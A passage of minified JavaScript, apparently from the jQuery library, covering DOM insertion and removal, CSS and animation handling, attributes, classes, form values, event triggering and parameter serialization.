o=e.eq(i);v&&(t[0]=y.call(this,i,o.html())),Re(o,t,n,r)});if(p&&(i=xe(t,e[0].ownerDocument,!1,e,r),o=i.firstChild,1===i.childNodes.length&&(i=o),o||r)){for(u=(s=w.map(ye(i,"script"),He)).length;f<p;f++)l=i,f!==d&&(l=w.clone(l,!0,!0),u&&w.merge(s,ye(l,"script"))),n.call(e[f],l,f);if(u)for(c=s[s.length-1].ownerDocument,w.map(s,Oe),f=0;f<u;f++)l=s[f],he.test(l.type||"")&&!J.access(l,"globalEval")&&w.contains(c,l)&&(l.src&&"module"!==(l.type||"").toLowerCase()?w._evalUrl&&w._evalUrl(l.src):m(l.textContent.replace(qe,""),c,l))}return e}function Ie(e,t,n){for(var r,i=t?w.filter(t,e):e,o=0;null!=(r=i[o]);o++)n||1!==r.nodeType||w.cleanData(ye(r)),r.parentNode&&(n&&w.contains(r.ownerDocument,r)&&ve(ye(r,"script")),r.parentNode.removeChild(r));return e}w.extend({htmlPrefilter:function(e){return e.replace(Ne,"<$1></$2>")},clone:function(e,t,n){var r,i,o,a,s=e.cloneNode(!0),u=w.contains(e.ownerDocument,e);if(!(h.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||w.isXMLDoc(e)))for(a=ye(s),r=0,i=(o=ye(e)).length;r<i;r++)Me(o[r],a[r]);if(t)if(n)for(o=o||ye(e),a=a||ye(s),r=0,i=o.length;r<i;r++)Pe(o[r],a[r]);else Pe(e,s);return(a=ye(s,"script")).length>0&&ve(a,!u&&ye(e,"script")),s},cleanData:function(e){for(var t,n,r,i=w.event.special,o=0;void 0!==(n=e[o]);o++)if(Y(n)){if(t=n[J.expando]){if(t.events)for(r in t.events)i[r]?w.event.remove(n,r):w.removeEvent(n,r,t.handle);n[J.expando]=void 0}n[K.expando]&&(n[K.expando]=void 0)}}}),w.fn.extend({detach:function(e){return Ie(this,e,!0)},remove:function(e){return Ie(this,e)},text:function(e){return z(this,function(e){return void 0===e?w.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=e)})},null,e,arguments.length)},append:function(){return Re(this,arguments,function(e){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||Le(this,e).appendChild(e)})},prepend:function(){return Re(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=Le(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return Re(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return Re(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(w.cleanData(ye(e,!1)),e.textContent="");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return w.clone(this,e,t)})},html:function(e){return z(this,function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e&&1===t.nodeType)return t.innerHTML;if("string"==typeof e&&!Ae.test(e)&&!ge[(de.exec(e)||["",""])[1].toLowerCase()]){e=w.htmlPrefilter(e);try{for(;n<r;n++)1===(t=this[n]||{}).nodeType&&(w.cleanData(ye(t,!1)),t.innerHTML=e);t=0}catch(e){}}t&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var e=[];return Re(this,arguments,function(t){var n=this.parentNode;w.inArray(this,e)<0&&(w.cleanData(ye(this)),n&&n.replaceChild(t,this))},e)}}),w.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,t){w.fn[e]=function(e){for(var n,r=[],i=w(e),o=i.length-1,a=0;a<=o;a++)n=a===o?this:this.clone(!0),w(i[a])[t](n),s.apply(r,n.get());return this.pushStack(r)}});var We=new RegExp("^("+re+")(?!px)[a-z%]+$","i"),$e=function(t){var n=t.ownerDocument.defaultView;return n&&n.opener||(n=e),n.getComputedStyle(t)},Be=new RegExp(oe.join("|"),"i");!function(){function t(){if(c){l.style.cssText="position:absolute;left:-11111px;width:60px;margin-top:1px;padding:0;border:0",c.style.cssText="position:relative;display:block;box-sizing:border-box;overflow:scroll;margin:auto;border:1px;padding:1px;width:60%;top:1%",be.appendChild(l).appendChild(c);var t=e.getComputedStyle(c);i="1%"!==t.top,u=12===n(t.marginLeft),c.style.right="60%",s=36===n(t.right),o=36===n(t.width),c.style.position="absolute",a=36===c.offsetWidth||"absolute",be.removeChild(l),c=null}}function n(e){return Math.round(parseFloat(e))}var i,o,a,s,u,l=r.createElement("div"),c=r.createElement("div");c.style&&(c.style.backgroundClip="content-box",c.cloneNode(!0).style.backgroundClip="",h.clearCloneStyle="content-box"===c.style.backgroundClip,w.extend(h,{boxSizingReliable:function(){return t(),o},pixelBoxStyles:function(){return t(),s},pixelPosition:function(){return t(),i},reliableMarginLeft:function(){return t(),u},scrollboxSize:function(){return t(),a}}))}();function Fe(e,t,n){var r,i,o,a,s=e.style;return(n=n||$e(e))&&(""!==(a=n.getPropertyValue(t)||n[t])||w.contains(e.ownerDocument,e)||(a=w.style(e,t)),!h.pixelBoxStyles()&&We.test(a)&&Be.test(t)&&(r=s.width,i=s.minWidth,o=s.maxWidth,s.minWidth=s.maxWidth=s.width=a,a=n.width,s.width=r,s.minWidth=i,s.maxWidth=o)),void 0!==a?a+"":a}function _e(e,t){return{get:function(){if(!e())return(this.get=t).apply(this,arguments);delete this.get}}}var ze=/^(none|table(?!-c[ea]).+)/,Xe=/^--/,Ue={position:"absolute",visibility:"hidden",display:"block"},Ve={letterSpacing:"0",fontWeight:"400"},Ge=["Webkit","Moz","ms"],Ye=r.createElement("div").style;function Qe(e){if(e in Ye)return e;var t=e[0].toUpperCase()+e.slice(1),n=Ge.length;while(n--)if((e=Ge[n]+t)in Ye)return e}function Je(e){var t=w.cssProps[e];return t||(t=w.cssProps[e]=Qe(e)||e),t}function Ke(e,t,n){var r=ie.exec(t);return r?Math.max(0,r[2]-(n||0))+(r[3]||"px"):t}function Ze(e,t,n,r,i,o){var a="width"===t?1:0,s=0,u=0;if(n===(r?"border":"content"))return 0;for(;a<4;a+=2)"margin"===n&&(u+=w.css(e,n+oe[a],!0,i)),r?("content"===n&&(u-=w.css(e,"padding"+oe[a],!0,i)),"margin"!==n&&(u-=w.css(e,"border"+oe[a]+"Width",!0,i))):(u+=w.css(e,"padding"+oe[a],!0,i),"padding"!==n?u+=w.css(e,"border"+oe[a]+"Width",!0,i):s+=w.css(e,"border"+oe[a]+"Width",!0,i));return!r&&o>=0&&(u+=Math.max(0,Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-o-u-s-.5))),u}function et(e,t,n){var r=$e(e),i=Fe(e,t,r),o="border-box"===w.css(e,"boxSizing",!1,r),a=o;if(We.test(i)){if(!n)return i;i="auto"}return a=a&&(h.boxSizingReliable()||i===e.style[t]),("auto"===i||!parseFloat(i)&&"inline"===w.css(e,"display",!1,r))&&(i=e["offset"+t[0].toUpperCase()+t.slice(1)],a=!0),(i=parseFloat(i)||0)+Ze(e,t,n||(o?"border":"content"),a,r,i)+"px"}w.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Fe(e,"opacity");return""===n?"1":n}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,a,s=G(t),u=Xe.test(t),l=e.style;if(u||(t=Je(s)),a=w.cssHooks[t]||w.cssHooks[s],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(e,!1,r))?i:l[t];"string"==(o=typeof n)&&(i=ie.exec(n))&&i[1]&&(n=ue(e,t,i),o="number"),null!=n&&n===n&&("number"===o&&(n+=i&&i[3]||(w.cssNumber[s]?"":"px")),h.clearCloneStyle||""!==n||0!==t.indexOf("background")||(l[t]="inherit"),a&&"set"in a&&void 0===(n=a.set(e,n,r))||(u?l.setProperty(t,n):l[t]=n))}},css:function(e,t,n,r){var i,o,a,s=G(t);return Xe.test(t)||(t=Je(s)),(a=w.cssHooks[t]||w.cssHooks[s])&&"get"in a&&(i=a.get(e,!0,n)),void 0===i&&(i=Fe(e,t,r)),"normal"===i&&t in Ve&&(i=Ve[t]),""===n||n?(o=parseFloat(i),!0===n||isFinite(o)?o||0:i):i}}),w.each(["height","width"],function(e,t){w.cssHooks[t]={get:function(e,n,r){if(n)return!ze.test(w.css(e,"display"))||e.getClientRects().length&&e.getBoundingClientRect().width?et(e,t,r):se(e,Ue,function(){return et(e,t,r)})},set:function(e,n,r){var i,o=$e(e),a="border-box"===w.css(e,"boxSizing",!1,o),s=r&&Ze(e,t,r,a,o);return a&&h.scrollboxSize()===o.position&&(s-=Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-parseFloat(o[t])-Ze(e,t,"border",!1,o)-.5)),s&&(i=ie.exec(n))&&"px"!==(i[3]||"px")&&(e.style[t]=n,n=w.css(e,t)),Ke(e,n,s)}}}),w.cssHooks.marginLeft=_e(h.reliableMarginLeft,function(e,t){if(t)return(parseFloat(Fe(e,"marginLeft"))||e.getBoundingClientRect().left-se(e,{marginLeft:0},function(){return e.getBoundingClientRect().left}))+"px"}),w.each({margin:"",padding:"",border:"Width"},function(e,t){w.cssHooks[e+t]={expand:function(n){for(var r=0,i={},o="string"==typeof n?n.split(" "):[n];r<4;r++)i[e+oe[r]+t]=o[r]||o[r-2]||o[0];return i}},"margin"!==e&&(w.cssHooks[e+t].set=Ke)}),w.fn.extend({css:function(e,t){return z(this,function(e,t,n){var r,i,o={},a=0;if(Array.isArray(t)){for(r=$e(e),i=t.length;a<i;a++)o[t[a]]=w.css(e,t[a],!1,r);return o}return void 0!==n?w.style(e,t,n):w.css(e,t)},e,t,arguments.length>1)}});function tt(e,t,n,r,i){return new tt.prototype.init(e,t,n,r,i)}w.Tween=tt,tt.prototype={constructor:tt,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||w.easing._default,this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(w.cssNumber[n]?"":"px")},cur:function(){var e=tt.propHooks[this.prop];return e&&e.get?e.get(this):tt.propHooks._default.get(this)},run:function(e){var t,n=tt.propHooks[this.prop];return this.options.duration?this.pos=t=w.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):tt.propHooks._default.set(this),this}},tt.prototype.init.prototype=tt.prototype,tt.propHooks={_default:{get:function(e){var t;return 1!==e.elem.nodeType||null!=e.elem[e.prop]&&null==e.elem.style[e.prop]?e.elem[e.prop]:(t=w.css(e.elem,e.prop,""))&&"auto"!==t?t:0},set:function(e){w.fx.step[e.prop]?w.fx.step[e.prop](e):1!==e.elem.nodeType||null==e.elem.style[w.cssProps[e.prop]]&&!w.cssHooks[e.prop]?e.elem[e.prop]=e.now:w.style(e.elem,e.prop,e.now+e.unit)}}},tt.propHooks.scrollTop=tt.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},w.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:"swing"},w.fx=tt.prototype.init,w.fx.step={};var nt,rt,it=/^(?:toggle|show|hide)$/,ot=/queueHooks$/;function at(){rt&&(!1===r.hidden&&e.requestAnimationFrame?e.requestAnimationFrame(at):e.setTimeout(at,w.fx.interval),w.fx.tick())}function st(){return e.setTimeout(function(){nt=void 0}),nt=Date.now()}function ut(e,t){var n,r=0,i={height:e};for(t=t?1:0;r<4;r+=2-t)i["margin"+(n=oe[r])]=i["padding"+n]=e;return t&&(i.opacity=i.width=e),i}function lt(e,t,n){for(var r,i=(pt.tweeners[t]||[]).concat(pt.tweeners["*"]),o=0,a=i.length;o<a;o++)if(r=i[o].call(n,t,e))return r}function ct(e,t,n){var r,i,o,a,s,u,l,c,f="width"in t||"height"in t,p=this,d={},h=e.style,g=e.nodeType&&ae(e),y=J.get(e,"fxshow");n.queue||(null==(a=w._queueHooks(e,"fx")).unqueued&&(a.unqueued=0,s=a.empty.fire,a.empty.fire=function(){a.unqueued||s()}),a.unqueued++,p.always(function(){p.always(function(){a.unqueued--,w.queue(e,"fx").length||a.empty.fire()})}));for(r in t)if(i=t[r],it.test(i)){if(delete t[r],o=o||"toggle"===i,i===(g?"hide":"show")){if("show"!==i||!y||void 0===y[r])continue;g=!0}d[r]=y&&y[r]||w.style(e,r)}if((u=!w.isEmptyObject(t))||!w.isEmptyObject(d)){f&&1===e.nodeType&&(n.overflow=[h.overflow,h.overflowX,h.overflowY],null==(l=y&&y.display)&&(l=J.get(e,"display")),"none"===(c=w.css(e,"display"))&&(l?c=l:(fe([e],!0),l=e.style.display||l,c=w.css(e,"display"),fe([e]))),("inline"===c||"inline-block"===c&&null!=l)&&"none"===w.css(e,"float")&&(u||(p.done(function(){h.display=l}),null==l&&(c=h.display,l="none"===c?"":c)),h.display="inline-block")),n.overflow&&(h.overflow="hidden",p.always(function(){h.overflow=n.overflow[0],h.overflowX=n.overflow[1],h.overflowY=n.overflow[2]})),u=!1;for(r in d)u||(y?"hidden"in y&&(g=y.hidden):y=J.access(e,"fxshow",{display:l}),o&&(y.hidden=!g),g&&fe([e],!0),p.done(function(){g||fe([e]),J.remove(e,"fxshow");for(r in d)w.style(e,r,d[r])})),u=lt(g?y[r]:0,r,p),r in y||(y[r]=u.start,g&&(u.end=u.start,u.start=0))}}function ft(e,t){var n,r,i,o,a;for(n in e)if(r=G(n),i=t[r],o=e[n],Array.isArray(o)&&(i=o[1],o=e[n]=o[0]),n!==r&&(e[r]=o,delete e[n]),(a=w.cssHooks[r])&&"expand"in a){o=a.expand(o),delete e[r];for(n in o)n in e||(e[n]=o[n],t[n]=i)}else t[r]=i}function pt(e,t,n){var r,i,o=0,a=pt.prefilters.length,s=w.Deferred().always(function(){delete u.elem}),u=function(){if(i)return!1;for(var t=nt||st(),n=Math.max(0,l.startTime+l.duration-t),r=1-(n/l.duration||0),o=0,a=l.tweens.length;o<a;o++)l.tweens[o].run(r);return s.notifyWith(e,[l,r,n]),r<1&&a?n:(a||s.notifyWith(e,[l,1,0]),s.resolveWith(e,[l]),!1)},l=s.promise({elem:e,props:w.extend({},t),opts:w.extend(!0,{specialEasing:{},easing:w.easing._default},n),originalProperties:t,originalOptions:n,startTime:nt||st(),duration:n.duration,tweens:[],createTween:function(t,n){var r=w.Tween(e,l.opts,t,n,l.opts.specialEasing[t]||l.opts.easing);return l.tweens.push(r),r},stop:function(t){var n=0,r=t?l.tweens.length:0;if(i)return this;for(i=!0;n<r;n++)l.tweens[n].run(1);return t?(s.notifyWith(e,[l,1,0]),s.resolveWith(e,[l,t])):s.rejectWith(e,[l,t]),this}}),c=l.props;for(ft(c,l.opts.specialEasing);o<a;o++)if(r=pt.prefilters[o].call(l,e,c,l.opts))return g(r.stop)&&(w._queueHooks(l.elem,l.opts.queue).stop=r.stop.bind(r)),r;return w.map(c,lt,l),g(l.opts.start)&&l.opts.start.call(e,l),l.progress(l.opts.progress).done(l.opts.done,l.opts.complete).fail(l.opts.fail).always(l.opts.always),w.fx.timer(w.extend(u,{elem:e,anim:l,queue:l.opts.queue})),l}w.Animation=w.extend(pt,{tweeners:{"*":[function(e,t){var n=this.createTween(e,t);return ue(n.elem,e,ie.exec(t),n),n}]},tweener:function(e,t){g(e)?(t=e,e=["*"]):e=e.match(M);for(var n,r=0,i=e.length;r<i;r++)n=e[r],pt.tweeners[n]=pt.tweeners[n]||[],pt.tweeners[n].unshift(t)},prefilters:[ct],prefilter:function(e,t){t?pt.prefilters.unshift(e):pt.prefilters.push(e)}}),w.speed=function(e,t,n){var r=e&&"object"==typeof e?w.extend({},e):{complete:n||!n&&t||g(e)&&e,duration:e,easing:n&&t||t&&!g(t)&&t};return w.fx.off?r.duration=0:"number"!=typeof r.duration&&(r.duration in w.fx.speeds?r.duration=w.fx.speeds[r.duration]:r.duration=w.fx.speeds._default),null!=r.queue&&!0!==r.queue||(r.queue="fx"),r.old=r.complete,r.complete=function(){g(r.old)&&r.old.call(this),r.queue&&w.dequeue(this,r.queue)},r},w.fn.extend({fadeTo:function(e,t,n,r){return this.filter(ae).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(e,t,n,r){var i=w.isEmptyObject(e),o=w.speed(t,n,r),a=function(){var t=pt(this,w.extend({},e),o);(i||J.get(this,"finish"))&&t.stop(!0)};return a.finish=a,i||!1===o.queue?this.each(a):this.queue(o.queue,a)},stop:function(e,t,n){var r=function(e){var t=e.stop;delete e.stop,t(n)};return"string"!=typeof e&&(n=t,t=e,e=void 0),t&&!1!==e&&this.queue(e||"fx",[]),this.each(function(){var t=!0,i=null!=e&&e+"queueHooks",o=w.timers,a=J.get(this);if(i)a[i]&&a[i].stop&&r(a[i]);else for(i in a)a[i]&&a[i].stop&&ot.test(i)&&r(a[i]);for(i=o.length;i--;)o[i].elem!==this||null!=e&&o[i].queue!==e||(o[i].anim.stop(n),t=!1,o.splice(i,1));!t&&n||w.dequeue(this,e)})},finish:function(e){return!1!==e&&(e=e||"fx"),this.each(function(){var t,n=J.get(this),r=n[e+"queue"],i=n[e+"queueHooks"],o=w.timers,a=r?r.length:0;for(n.finish=!0,w.queue(this,e,[]),i&&i.stop&&i.stop.call(this,!0),t=o.length;t--;)o[t].elem===this&&o[t].queue===e&&(o[t].anim.stop(!0),o.splice(t,1));for(t=0;t<a;t++)r[t]&&r[t].finish&&r[t].finish.call(this);delete n.finish})}}),w.each(["toggle","show","hide"],function(e,t){var n=w.fn[t];w.fn[t]=function(e,r,i){return null==e||"boolean"==typeof e?n.apply(this,arguments):this.animate(ut(t,!0),e,r,i)}}),w.each({slideDown:ut("show"),slideUp:ut("hide"),slideToggle:ut("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,t){w.fn[e]=function(e,n,r){return this.animate(t,e,n,r)}}),w.timers=[],w.fx.tick=function(){var e,t=0,n=w.timers;for(nt=Date.now();t<n.length;t++)(e=n[t])()||n[t]!==e||n.splice(t--,1);n.length||w.fx.stop(),nt=void 0},w.fx.timer=function(e){w.timers.push(e),w.fx.start()},w.fx.interval=13,w.fx.start=function(){rt||(rt=!0,at())},w.fx.stop=function(){rt=null},w.fx.speeds={slow:600,fast:200,_default:400},w.fn.delay=function(t,n){return t=w.fx?w.fx.speeds[t]||t:t,n=n||"fx",this.queue(n,function(n,r){var i=e.setTimeout(n,t);r.stop=function(){e.clearTimeout(i)}})},function(){var e=r.createElement("input"),t=r.createElement("select").appendChild(r.createElement("option"));e.type="checkbox",h.checkOn=""!==e.value,h.optSelected=t.selected,(e=r.createElement("input")).value="t",e.type="radio",h.radioValue="t"===e.value}();var dt,ht=w.expr.attrHandle;w.fn.extend({attr:function(e,t){return z(this,w.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){w.removeAttr(this,e)})}}),w.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?w.prop(e,t,n):(1===o&&w.isXMLDoc(e)||(i=w.attrHooks[t.toLowerCase()]||(w.expr.match.bool.test(t)?dt:void 0)),void 0!==n?null===n?void w.removeAttr(e,t):i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:(e.setAttribute(t,n+""),n):i&&"get"in i&&null!==(r=i.get(e,t))?r:null==(r=w.find.attr(e,t))?void 0:r)},attrHooks:{type:{set:function(e,t){if(!h.radioValue&&"radio"===t&&N(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},removeAttr:function(e,t){var n,r=0,i=t&&t.match(M);if(i&&1===e.nodeType)while(n=i[r++])e.removeAttribute(n)}}),dt={set:function(e,t,n){return!1===t?w.removeAttr(e,n):e.setAttribute(n,n),n}},w.each(w.expr.match.bool.source.match(/\w+/g),function(e,t){var n=ht[t]||w.find.attr;ht[t]=function(e,t,r){var i,o,a=t.toLowerCase();return r||(o=ht[a],ht[a]=i,i=null!=n(e,t,r)?a:null,ht[a]=o),i}});var gt=/^(?:input|select|textarea|button)$/i,yt=/^(?:a|area)$/i;w.fn.extend({prop:function(e,t){return z(this,w.prop,e,t,arguments.length>1)},removeProp:function(e){return this.each(function(){delete this[w.propFix[e]||e]})}}),w.extend({prop:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return 1===o&&w.isXMLDoc(e)||(t=w.propFix[t]||t,i=w.propHooks[t]),void 0!==n?i&&"set"in i&&void 0!==(r=i.set(e,n,t))?r:e[t]=n:i&&"get"in i&&null!==(r=i.get(e,t))?r:e[t]},propHooks:{tabIndex:{get:function(e){var t=w.find.attr(e,"tabindex");return t?parseInt(t,10):gt.test(e.nodeName)||yt.test(e.nodeName)&&e.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),h.optSelected||(w.propHooks.selected={get:function(e){var t=e.parentNode;return t&&t.parentNode&&t.parentNode.selectedIndex,null},set:function(e){var t=e.parentNode;t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex)}}),w.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){w.propFix[this.toLowerCase()]=this});function vt(e){return(e.match(M)||[]).join(" ")}function mt(e){return e.getAttribute&&e.getAttribute("class")||""}function xt(e){return Array.isArray(e)?e:"string"==typeof e?e.match(M)||[]:[]}w.fn.extend({addClass:function(e){var t,n,r,i,o,a,s,u=0;if(g(e))return this.each(function(t){w(this).addClass(e.call(this,t,mt(this)))});if((t=xt(e)).length)while(n=this[u++])if(i=mt(n),r=1===n.nodeType&&" "+vt(i)+" "){a=0;while(o=t[a++])r.indexOf(" "+o+" ")<0&&(r+=o+" ");i!==(s=vt(r))&&n.setAttribute("class",s)}return this},removeClass:function(e){var t,n,r,i,o,a,s,u=0;if(g(e))return this.each(function(t){w(this).removeClass(e.call(this,t,mt(this)))});if(!arguments.length)return this.attr("class","");if((t=xt(e)).length)while(n=this[u++])if(i=mt(n),r=1===n.nodeType&&" "+vt(i)+" "){a=0;while(o=t[a++])while(r.indexOf(" "+o+" ")>-1)r=r.replace(" "+o+" "," ");i!==(s=vt(r))&&n.setAttribute("class",s)}return this},toggleClass:function(e,t){var n=typeof e,r="string"===n||Array.isArray(e);return"boolean"==typeof t&&r?t?this.addClass(e):this.removeClass(e):g(e)?this.each(function(n){w(this).toggleClass(e.call(this,n,mt(this),t),t)}):this.each(function(){var t,i,o,a;if(r){i=0,o=w(this),a=xt(e);while(t=a[i++])o.hasClass(t)?o.removeClass(t):o.addClass(t)}else void 0!==e&&"boolean"!==n||((t=mt(this))&&J.set(this,"__className__",t),this.setAttribute&&this.setAttribute("class",t||!1===e?"":J.get(this,"__className__")||""))})},hasClass:function(e){var t,n,r=0;t=" "+e+" ";while(n=this[r++])if(1===n.nodeType&&(" "+vt(mt(n))+" ").indexOf(t)>-1)return!0;return!1}});var bt=/\r/g;w.fn.extend({val:function(e){var t,n,r,i=this[0];{if(arguments.length)return r=g(e),this.each(function(n){var i;1===this.nodeType&&(null==(i=r?e.call(this,n,w(this).val()):e)?i="":"number"==typeof i?i+="":Array.isArray(i)&&(i=w.map(i,function(e){return null==e?"":e+""})),(t=w.valHooks[this.type]||w.valHooks[this.nodeName.toLowerCase()])&&"set"in t&&void 0!==t.set(this,i,"value")||(this.value=i))});if(i)return(t=w.valHooks[i.type]||w.valHooks[i.nodeName.toLowerCase()])&&"get"in t&&void 0!==(n=t.get(i,"value"))?n:"string"==typeof(n=i.value)?n.replace(bt,""):null==n?"":n}}}),w.extend({valHooks:{option:{get:function(e){var t=w.find.attr(e,"value");return null!=t?t:vt(w.text(e))}},select:{get:function(e){var t,n,r,i=e.options,o=e.selectedIndex,a="select-one"===e.type,s=a?null:[],u=a?o+1:i.length;for(r=o<0?u:a?o:0;r<u;r++)if(((n=i[r]).selected||r===o)&&!n.disabled&&(!n.parentNode.disabled||!N(n.parentNode,"optgroup"))){if(t=w(n).val(),a)return t;s.push(t)}return s},set:function(e,t){var n,r,i=e.options,o=w.makeArray(t),a=i.length;while(a--)((r=i[a]).selected=w.inArray(w.valHooks.option.get(r),o)>-1)&&(n=!0);return n||(e.selectedIndex=-1),o}}}}),w.each(["radio","checkbox"],function(){w.valHooks[this]={set:function(e,t){if(Array.isArray(t))return e.checked=w.inArray(w(e).val(),t)>-1}},h.checkOn||(w.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})}),h.focusin="onfocusin"in e;var wt=/^(?:focusinfocus|focusoutblur)$/,Tt=function(e){e.stopPropagation()};w.extend(w.event,{trigger:function(t,n,i,o){var a,s,u,l,c,p,d,h,v=[i||r],m=f.call(t,"type")?t.type:t,x=f.call(t,"namespace")?t.namespace.split("."):[];if(s=h=u=i=i||r,3!==i.nodeType&&8!==i.nodeType&&!wt.test(m+w.event.triggered)&&(m.indexOf(".")>-1&&(m=(x=m.split(".")).shift(),x.sort()),c=m.indexOf(":")<0&&"on"+m,t=t[w.expando]?t:new w.Event(m,"object"==typeof t&&t),t.isTrigger=o?2:3,t.namespace=x.join("."),t.rnamespace=t.namespace?new RegExp("(^|\\.)"+x.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,t.result=void 0,t.target||(t.target=i),n=null==n?[t]:w.makeArray(n,[t]),d=w.event.special[m]||{},o||!d.trigger||!1!==d.trigger.apply(i,n))){if(!o&&!d.noBubble&&!y(i)){for(l=d.delegateType||m,wt.test(l+m)||(s=s.parentNode);s;s=s.parentNode)v.push(s),u=s;u===(i.ownerDocument||r)&&v.push(u.defaultView||u.parentWindow||e)}a=0;while((s=v[a++])&&!t.isPropagationStopped())h=s,t.type=a>1?l:d.bindType||m,(p=(J.get(s,"events")||{})[t.type]&&J.get(s,"handle"))&&p.apply(s,n),(p=c&&s[c])&&p.apply&&Y(s)&&(t.result=p.apply(s,n),!1===t.result&&t.preventDefault());return t.type=m,o||t.isDefaultPrevented()||d._default&&!1!==d._default.apply(v.pop(),n)||!Y(i)||c&&g(i[m])&&!y(i)&&((u=i[c])&&(i[c]=null),w.event.triggered=m,t.isPropagationStopped()&&h.addEventListener(m,Tt),i[m](),t.isPropagationStopped()&&h.removeEventListener(m,Tt),w.event.triggered=void 0,u&&(i[c]=u)),t.result}},simulate:function(e,t,n){var r=w.extend(new w.Event,n,{type:e,isSimulated:!0});w.event.trigger(r,null,t)}}),w.fn.extend({trigger:function(e,t){return this.each(function(){w.event.trigger(e,t,this)})},triggerHandler:function(e,t){var n=this[0];if(n)return w.event.trigger(e,t,n,!0)}}),h.focusin||w.each({focus:"focusin",blur:"focusout"},function(e,t){var n=function(e){w.event.simulate(t,e.target,w.event.fix(e))};w.event.special[t]={setup:function(){var r=this.ownerDocument||this,i=J.access(r,t);i||r.addEventListener(e,n,!0),J.access(r,t,(i||0)+1)},teardown:function(){var r=this.ownerDocument||this,i=J.access(r,t)-1;i?J.access(r,t,i):(r.removeEventListener(e,n,!0),J.remove(r,t))}}});var Ct=e.location,Et=Date.now(),kt=/\?/;w.parseXML=function(t){var n;if(!t||"string"!=typeof t)return null;try{n=(new e.DOMParser).parseFromString(t,"text/xml")}catch(e){n=void 0}return n&&!n.getElementsByTagName("parsererror").length||w.error("Invalid XML: "+t),n};var St=/\[\]$/,Dt=/\r?\n/g,Nt=/^(?:submit|button|image|reset|file)$/i,At=/^(?:input|select|textarea|keygen)/i;function jt(e,t,n,r){var i;if(Array.isArray(t))w.each(t,function(t,i){n||St.test(e)?r(e,i):jt(e+"["+("object"==typeof i&&null!=i?t:"")+"]",i,n,r)});else if(n||"object"!==x(t))r(e,t);else for(i in t)jt(e+"["+i+"]",t[i],n,r)}w.param=function(e,t){var n,r=[],i=function(e,t){var n=g(t)?t():t;r[r.length]=encodeURIComponent(e)+"="+encodeURIComponent(null==n?"":n)};if(Array.isArray(e)||e.jquery&&!w.isPlainObject(e))w.each(e,function(){i(this.name,this.value)});else for(n in e)jt(n,e[n],t,i);return r.join("&")},w.fn.extend({serialize:function(){return w.param(this.serializeArray())},serializeArray:function(){return this.map(function(){var e=w.prop(this,"elements");return e?w.makeArray(e):this}).filter(function(){var e=this.type;return this.name&&!w(this).is(":disabled")&&At.test(this.nodeName)&&!Nt.test(e)&&(this.checked||!pe.test(e))}).map(function(e,t){var n=w(this).val();return null==n?null:Array.isArray(n)?w.map(n,function(e){return{name:t.name,value:e.replace(Dt,"\r\n")}}):{name:t.name,value:n.replace(Dt,"\r\n")}}).get()}});var qt=/%20/g,Lt=/#.*$/,Ht=/([?&])_=[^&]*/,Ot=/^(.*?):[ \t]*([^\r\n]*)$/gm,Pt=/^(?:about|app|app-storage|.+-extension|file|res|widget):$/,Mt=/^(?:GET|HEAD)$/,Rt=/^\/\//,It={},Wt={},$t="*/".concat("*"),Bt=r.createElement("a");Bt.href=Ct.href;function Ft(e){return function(t,n){"string"!=typeof t&&(n=t,t="*");var r,i=0,o=t.toLowerCase().match(M)||[];if(g(n))while(r=o[i++])"+"===r[0]?(r=r.slice(1)||"*",(e[r]=e[r]||[]).unshift(n)):(e[r]=e[r]||[]).push(n)}}function _t(e,t,n,r){var i={},o=e===Wt;function a(s){var u;return i[s]=!0,w.each(e[s]||[],function(e,s){var l=s(t,n,r);return"string"!=typeof l||o||i[l]?o?!(u=l):void 0:(t.dataTypes.unshift(l),a(l),!1)}),u}return 